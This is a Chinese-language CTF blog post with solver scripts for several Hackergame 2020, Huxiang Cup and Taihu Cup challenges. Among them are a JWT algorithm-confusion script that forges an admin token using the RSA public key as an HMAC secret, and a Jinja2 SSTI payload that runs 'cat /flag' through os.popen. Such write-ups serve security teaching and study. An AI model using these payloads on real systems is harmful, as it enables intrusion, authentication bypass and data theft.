CTF笔记(九)——hackergame 2020 湖湘杯 太湖杯 writeup

Hackergame 2020 数理模拟器

什么?sympy自带latex_parser可以转换latex?是我孤陋寡闻了。。。垃圾百度,垃圾sympy官方文档。。。我用mathematica配合python做的。。。我太难了

就是用python爬虫爬取400个要计算的积分的LaTeX公式,然后子进程调用mathematica命令行计算并获取返回结果提交给网页

import requests
import subprocess
import traceback
import os
session="u.o4J1s5TzjM8ozBbFCaoHSgxBVcfPAWt3qbxu70QZ2H1QKqxunk313PVCeirJ1NnDUEJxjBYbq6jL3FYWN0ccDTDfoV/LZR9Ji+0hpzkWruNGl47TK0qNImFYcb7+toOla7Ji0qDQquQLmyDm7tH5wnrYQa/rFz/VL40SiVtJ+4Ntzi8+yrjTgHicxsqtKv8zpq/MH81R/6Lx/w==.9eXK4TWHDfkkeKyHnl6jlg==.h+P4D18K4iMTt7NpH/bRjg=="

for i in range(0,400):
    header={"Cookie":"session="+session}
    r=requests.get("http://202.38.93.111:10190/",headers=header)
    session=r.cookies.items()[0][1]
    if "flag" in r.text:break
    print("last_session:",session)
    lpos=r.text.find("int_")
    rpos=r.text[lpos:].find("\,{d x}")
    preprocessed=r.text[lpos+4:lpos+rpos]
    space_pos=preprocessed.find(' ')
    arg=preprocessed[0:space_pos]
    s_pos=arg.find('^')
    bottom=arg[1:s_pos-1]
    top=arg[s_pos+2:-1]
    func=preprocessed[space_pos+1:].replace("e^","E^").replace(r"\ln\left(x\right)^{2}",r"\ln(\left(x\right)^{2})").replace("\ln\left(x\right)^{3}","\\ ln(\\ left (x \\ right)^{3})").replace("} {","}\\, {")
    cmd='%s\\run_math.wls "%s" "%s" "%s"'%(os.getcwd(),func,bottom,top)
    # print(cmd)
    res = subprocess.run(cmd,shell=True,capture_output=True)
    try:
        res=res.stdout.decode()
        l=res.find("Active code page: 65001\r\n")
        # print(res)
        if l!=-1:
            res=res[l+len("Active code page: 65001\r\n"):-2]
        else:
            res=res[:-2]
        print("result=",res)
        result_str=format(float(res), '.6f')

        header={"Cookie":"session="+session}

        r=requests.post("http://202.38.93.111:10190/submit",{"ans":result_str},headers=header)
        ll=r.text.find("</h1>")
        print(r.text[ll-6:ll])
        session=r.cookies.items()[0][1]
    except Exception as e:
        traceback.print_exc()
        pass
print(r.text[r.text.find("flag"):])
#! wolframscript run_math.wls
value=ToExpression[$ScriptCommandLine[[2]],TeXForm];
bottom=ToExpression[$ScriptCommandLine[[3]],TeXForm];
top=ToExpression[$ScriptCommandLine[[4]],TeXForm];
Print[NIntegrate[value, {x, bottom, top}]]

mathematica识别LaTeX有几个坑,一个就是ln函数后面必须跟括号,$lnx^2$会报错,必须$ln(x^2)$;另一个是$e$必须改为大写$E$,不然会识别为一个变量而不是自然对数;还有一个是就是两个大括号间必须有//,分割,不然也会报错。

Hackergame 2020 数字认证器

114514加上各种运算符+-*/^%~得到要求的数字,是个类似24点的题目,这个一看就是fuzz(模糊测试),没什么好讲的了。

from pwn import *
import os

remote_addr=['202.38.93.111', 10241]

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

dic=open("%s/result.txt"%os.getcwd(),"r").read().splitlines()
p=remote(remote_addr[0],remote_addr[1])
p.recvuntil(b"Please input your token:")
p.sendline(b" 336:MEUCIEwoDV54B/C96STQMyZb***3gLtY/Yk=\n") #你的token
r=p.recvuntil("=")
print(r)
while "flag" not in r:
    print(r[r.find(":")+1:r.find("=")])
    sl(dic[int(r[r.find(":")+1:r.find("=")])].encode())
    try:r=p.recvuntil("=")
    except:r=p.recv()

print(r)

result.txt

~-(1%14514)
(1%14514)
(114&514)
(11451%4)
((11+451)&4)
((1*145)%14)
((1+145)%14)
((11%451)-4)
(1145&14)
((11&45)%14)
((1-145)%14)
(1145%14)
((11&451)*4)
(-((1%145)-14))
(11+(451%4))
((11%451)+4)
((114%51)+4)
(~(((1-14)-5)|14))
......
太多了就不全展示了。。。

hackergame 2020 编码转换

utf7本意是用7位一字节来表示unicode编码,utf7是为了一些信道质量不佳只能7位7位传输的网络设计的(然而并没有没用上过)。因此ascii字符都保留了原本模样,而超过7位的字符先以utf-16BE编码再转换为base64。但是ascii字符也是有对应的utf-16编码的不是吗?因此即使一般情况下utf7直接用ascii字符编码,但是使用先以utf-16BE编码再转换为base64的ascii字符也能被正确识别。

>>> b"+AGYAbABhAGc".decode("utf-7")
'flag'

大写换小写是利用了unicode中的连字字符,连字字符本意是为了能在计算机中显示英文字母练笔书写的效果

比如fl的连字字符

import base64
#utf7
a="+"+base64.b64encode("flag".encode("utf-16be")).decode()[:-1]
print(a)
a.encode().decode('utf-7')
#小写转大写
for i in range(0xffffff+1):
    try:
        if(chr(i).upper() in "FLAG"):
            print(i,chr(i))
        print(chr(i),end="\r")
    except:pass

hackergame 2020 从零开始的HTTP服务器

我搞的是协议栈模拟,累死我了。。。

from scapy.all import *
import random
import binascii
ip="146.56.228.227"
port=8080
# r=sr1(IP(dst=ip)/TCP(dport=port,flags="R",seq=55,ack=1842277000+1))
sport=random.randint(0,25565)

http_payload='''GET /shell HTTP/1.1
Host: 202.38.93.111:0
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Edg/86.0.622.58
Upgrade: websocket
Origin: http://202.38.93.111:0
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Sec-WebSocket-Key: 1zfKIcvbUEgppH3j/I1CFg==
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

'''

websocket_payload=binascii.unhexlify("81e5c86714ccfb5422f68522418f812263a38c3121f88a4857f5fe34409d851e4eae993e40a5aa2d56fef957679c8d33478dad173b89b0086cb9890e518da72d7af4f95461a7bc2f52ba981e6089a05253fb85105afffb0a4296f90a4cb9fa3056ffaf2b6095e73e7ff1c2")
not_hello=True
not_http=True
http_acked=False
not_websocket=True
protocol_switched=False
def hCK(r):
    global not_hello,not_http,not_websocket,http_acked,protocol_switched
    ack=r[TCP].seq
    seq=r[IP].ack
    flags=r[TCP].flags
    l=len(r[TCP].payload)
    l=l if l!=0 else 1
    r.show()
    if "R" in flags:print("============RST=============")
    if "S" in flags and not_hello:
        print("=========hello==========")
        send(IP(dst=ip)/TCP(dport=port,flags="A",seq=seq,ack=ack+l,sport=sport))
        not_hello=False
    if not_http and not not_hello:
        print("=========http==========")
        send(IP(dst=ip)/TCP(dport=port,flags="PA",seq=seq,ack=ack+l,sport=sport)/http_payload)
        not_http=False
        return
    if "A" in flags and not not_http and not http_acked:
        print("=========http_acked==========")
        http_acked=True
        return
    # print(b"101" in bytes(r[TCP].payload),r[TCP].payload,type(r[TCP].payload))
    return 
    if http_acked and not protocol_switched and b"101" in bytes(r[TCP].payload):
        print("=========protocol_switched==========")
        send(IP(dst=ip)/TCP(dport=port,flags="A",seq=seq,ack=ack+l,sport=sport))
        protocol_switched=True
        return
    # print("PA" in flags,b"token" in  bytes(r[TCP].payload))
    if protocol_switched and "P" in flags and b"token" in  bytes(r[TCP].payload):
        print("=========websocket_token_send==========")
        send(IP(dst=ip)/TCP(dport=port,flags="A",seq=seq,ack=ack+l,sport=sport)/websocket_payload)
        not_websocket=False
        return
    if not not_websocket and "P" in flags:
        print("=========websocket_recv==========")
        send(IP(dst=ip)/TCP(dport=port,flags="A",seq=seq,ack=ack+l,sport=sport))
        return

r=sr1(IP(dst=ip)/TCP(dport=port,flags="S",sport=sport))
sniff(filter="tcp and src host %s and port %d"%(ip,port),prn=hCK)

官方说他是用iptable进行了端口流量转发。。。

可行的解法还有

  1. socat TCP-LISTEN:20000,fork,reuseaddr TCP:202.38.93.111:0

  2. 老版本的curl直接curl 0端口

hackergame 2020 JWT身份验证

直接改算法就好,密钥用公钥就行。老版本的pyjwt不会验证密钥和算法是否匹配。。。

这题不能直接用jwt.io进行加密,必须用python写脚本2333

import hmac
import rsa
from hashlib import sha256
import base64
import jwt
def JWT(secret,code):
        return base64.b64encode(hmac.new(secret, code, digestmod="sha256").digest()).decode().replace("/","_").replace("+","-")
def JWT2(key,payload={
  "sub": "admin",
  "exp": "9893845934343"
}):
        return jwt.encode(payload,  # payload, 有效载体 
                       key,  # 进行加密签名的密钥
                       algorithm="HS256",  # 指明签名算法方式, 默认也是HS256
                       )  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str

if __name__=="__main__":
    code=b"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6OTYwNDcyODg0NX0"
    secret=b"-----BEGIN RSA PUBLIC KEY-----\nMIICCgKCAgEAn/KiHQ+/zwE7kY/Xf89PY6SowSb7CUk2b+lSVqC9u+R4BaE/5tNF\neNlneGNny6fQhCRA+Pdw1UJSnNpG26z/uOK8+H7fMb2Da5t/94wavw410sCKVbvf\nft8gKquUaeq//tp20BETeS5MWIXp5EXCE+lEdAHgmWWoMVMIOXwaKTMnCVGJ2SRr\n+xH9147FZqOa/17PYIIHuUDlfeGi+Iu7T6a+QZ0tvmHL6j9Onk/EEONuUDfElonY\nM688jhuAM/FSLfMzdyk23mJk3CKPah48nzVmb1YRyfBWiVFGYQqMCBnWgoGOanpd\n46Fp1ff1zBn4sZTfPSOus/+00D5Lxh6bsbRa6A1vAApfmTcu026lIb7gbG7DU1/s\neDId9s1qA5BJpzWFKO4ztkPGvPTUok8hQBMDaSH1JOoFQgfJIfC7w2CQe+KbodQL\n3akKQDCZhcoA4tf5VC6ODJpFxCn6blML5cD6veOBPJiIk8DBRgmt2AHzOUju+5ns\nQcplOVxW5TFYxLqeJ8FPWqQcVekZ749FjchtAwPlUsoWIH0PTSun38ua8usrwTXb\npBlf4r0wz22FPqaecvp7z6Rj/xfDauDGDSU4hmn/TY9Fr+OmFJPW/9k2RAv7KEFv\nFCLP/3U3r0FMwSe/FPHmt5fjAtsGlZLj+bZsgwFllYeD90VQU8Ds+KkCAwEAAQ==\n-----END RSA PUBLIC KEY-----\n"
    print(JWT(secret,code))
    print(JWT2("-----BEGIN RSA PUBLIC KEY-----\nMIICCgKCAgEAn/KiHQ+/zwE7kY/Xf89PY6SowSb7CUk2b+lSVqC9u+R4BaE/5tNF\neNlneGNny6fQhCRA+Pdw1UJSnNpG26z/uOK8+H7fMb2Da5t/94wavw410sCKVbvf\nft8gKquUaeq//tp20BETeS5MWIXp5EXCE+lEdAHgmWWoMVMIOXwaKTMnCVGJ2SRr\n+xH9147FZqOa/17PYIIHuUDlfeGi+Iu7T6a+QZ0tvmHL6j9Onk/EEONuUDfElonY\nM688jhuAM/FSLfMzdyk23mJk3CKPah48nzVmb1YRyfBWiVFGYQqMCBnWgoGOanpd\n46Fp1ff1zBn4sZTfPSOus/+00D5Lxh6bsbRa6A1vAApfmTcu026lIb7gbG7DU1/s\neDId9s1qA5BJpzWFKO4ztkPGvPTUok8hQBMDaSH1JOoFQgfJIfC7w2CQe+KbodQL\n3akKQDCZhcoA4tf5VC6ODJpFxCn6blML5cD6veOBPJiIk8DBRgmt2AHzOUju+5ns\nQcplOVxW5TFYxLqeJ8FPWqQcVekZ749FjchtAwPlUsoWIH0PTSun38ua8usrwTXb\npBlf4r0wz22FPqaecvp7z6Rj/xfDauDGDSU4hmn/TY9Fr+OmFJPW/9k2RAv7KEFv\nFCLP/3U3r0FMwSe/FPHmt5fjAtsGlZLj+bZsgwFllYeD90VQU8Ds+KkCAwEAAQ==\n-----END RSA PUBLIC KEY-----\n"))

hackergame 2020 超安全代理服务器

提示了是http2 push推送了secret,直接wireshark抓包分析找到push包即可,抓包需要解析TLS,可以用chrome导出SSL日志,然后wireshark导入即可

访问内网这里用的是ipv6的本地地址 [::1]相当于127.0.0.1。。。新姿势get

connect发包我尝试了scapy协议栈模拟,python的那个hyper模块,使用burpsuite,postwoman都没能成功。。。。我要死了。。。

没想到curl这么好用。。。

hackergame 2020 火星文

"""脦脪鹿楼脝脝脕脣 拢脠拢谩拢茫拢毛拢氓拢貌拢莽拢谩拢铆拢氓 碌脛路镁脦帽脝梅拢卢脥碌碌陆脕脣脣眉脙脟碌脛 拢忙拢矛拢谩拢莽拢卢脧脰脭脷脦脪掳脩 拢忙拢矛拢谩拢莽 路垄赂酶脛茫拢潞
拢忙拢矛拢谩拢莽拢没拢脠拢麓拢枚拢鲁拢脽拢脝拢玫拢脦拢脽拢梅拢卤拢脭拢猫拢脽拢鲁拢卯拢茫拢掳拢盲拢卤拢卯拢莽拢脽拢麓拢脦拢盲拢脽拢盲拢鲁拢茫拢掳拢脛拢卤拢卯拢脟拢脽拢鹿拢帽拢脛拢虏拢脪拢赂拢猫拢贸拢媒
驴矛脠楼卤脠脠眉脝陆脤篓脤谩陆禄掳脡拢隆
虏禄脪陋脭脵掳脩脮芒路脻脨脜脧垄脳陋路垄赂酶脝盲脣没脠脣脕脣拢卢脪陋脢脟卤禄路垄脧脰戮脥脭茫赂芒脕脣拢隆""".encode("gbk").decode("utf-8").encode("windows-1252").decode("gbk")

竟然套了两层。。。我。。。

hackergame 2020 来自一教的图片

傅里叶变换什么的

4f_system_middle.bmp

I = imread('C:\test\4f_system_middle.bmp');  % 读入图像
F=ifft2(I);
%相位谱
r=real(F);
i=imag(F);
s1=log(1+abs(F));
phase=angle(F)*180/pi;
figure();imshow(phase,[]);title('相位谱图');

hackergame 2020 复读机

没啥好讲的。。。

a='a=%r;b=__import__("hashlib").sha256(bytes(a%%a,encoding="utf-8")).hexdigest();print(b,end="")';b=__import__("hashlib").sha256(bytes(a%a,encoding="utf-8")).hexdigest();print(b,end="")

hackergame 2020 商店

四舍五入导致的bug,167元按0.3%利息计算是0.501元,四舍五入为1元,实际利率0.6%高于信用卡利率。

太湖杯 魔方 SSTI

全角字符绕过对{}_'" 的过滤即可

{{().__class__.__bases__[0].__subclasses__()[78].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag")').read()}}

湖湘杯 passwd

参考链接:Memory Forensics: How to Pull Passwords from a Memory Dump

sha1("qwer1234")=db25f2fc14cd2d2b1e7af307241f548fb03c312a

不说点什么喵?

20 − 6 =

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据